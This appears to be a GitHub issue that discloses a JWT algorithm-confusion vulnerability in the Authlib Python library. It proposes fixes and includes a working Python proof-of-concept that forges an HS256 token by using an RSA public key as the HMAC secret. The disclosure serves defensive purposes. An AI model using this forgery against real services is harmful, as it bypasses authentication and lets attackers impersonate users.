Skip to content

Algorithm confusion when verifying JSON Web Tokens with asymmetric public keys #654

Closed
@milliesolem

Description

@milliesolem

Issue description

If the algorithm field is left unspecified when calling jwt.decode, the library will allow HMAC verification with ANY asymmetric public key. The library does no checks whatsoever to mitigate this. This applies to verification with the algorithms HS256, HS384, and HS512 in lieu of the asymmetric algorithm. This issue is also persistent in joserfc. This vulnerability is similar to CVE-2022-29217 and CVE-2024-33663, however severity is higher as this applies to ALL verification with asymmetric public keys, regardless of format.

The Authlib documentation on JWTs starts off with a code snippet demonstrating JWT signing and verfication of claims using RSA. The code snippet shown is vulnerable to this issue. The documetation does halfway down the page go on to describe the danger of not checking the algorithm header, however does not adequately press the importance of not doing so, nor does the library implement adequate protections against this.

Proposed solution

Same solution as for the patch for CVE-2022-29217 and CVE-2024-33663. A thorough, comprehensive check of whether the verifying key is asymmetric, see here. When performing signature verification with HMAC, first check whether the verifying key is not actually a PEM or SSH-encoded asymmetric public key; this is a clear sign of algorithm confusion.

Also make non-usage of the algorithms keyword throw an exception when using the jwt.decode method, or at the very least a warning, so that the developer at least knows they are doing something silly by not using it. Alternatively, depricate the method an instead only allow usage of the JsonWebToken class, with algorithm as a mandatory parameter and disallow usage of multiple algorithms in a single instance.

Proof-of-Concept

Here is a simplified Proof-of-Concept using pycryptodome for key generation that illustrates one way this could be exploited

from authlib.jose import jwt
from Crypto.PublicKey import RSA
from Crypto.Hash import HMAC, SHA256
import base64

# ----- SETUP -----

# generate an asymmetric RSA keypair
# !! signing should only be possible with the private key !!
KEY = RSA.generate(2048)

# PUBLIC KEY, AVAILABLE TO USER
# CAN BE RECOVERED THROUGH E.G. PUBKEY RECOVERY WITH TWO SIGNATURES:
# https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures
# https://github.com/FlorianPicca/JWT-Key-Recovery
PUBKEY = KEY.public_key().export_key(format='PEM')

# Sanity check
PRIVKEY = KEY.export_key(format='PEM')
token = jwt.encode({"alg": "RS256"}, {"pwned":False}, PRIVKEY)
claims = jwt.decode(token, PUBKEY)
assert not claims["pwned"]

# ---- CLIENT SIDE -----

# without knowing the private key, a valid token can be constructed
# YIKES!!

b64 = lambda x:base64.urlsafe_b64encode(x).replace(b'=',b'')
payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"pwned":true}')
hasher = HMAC.new(PUBKEY, digestmod=SHA256)
hasher.update(payload)
evil_token = payload + b'.' + b64(hasher.digest())
print("😈",evil_token)

# ---- SERVER SIDE -----

# verify and decode the token using the public key, as is custom
# algorithm field is left unspecified
# but the library will happily still verify without warning, trusting the user-controlled alg field of the token header
data = jwt.decode(evil_token, PUBKEY)
if data["pwned"]:
    print("VULNERABLE")

Disclaimer

As per the security policy, I contacted both the author and Tidelift about this issue in early April of this year. I received a response from Tidelift that they would follow up the issue, however the issue remains unpatched and I have still not heard further from either. As such, I am opening a public issue on this vulnerability.

Metadata

Metadata

Assignees

Labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions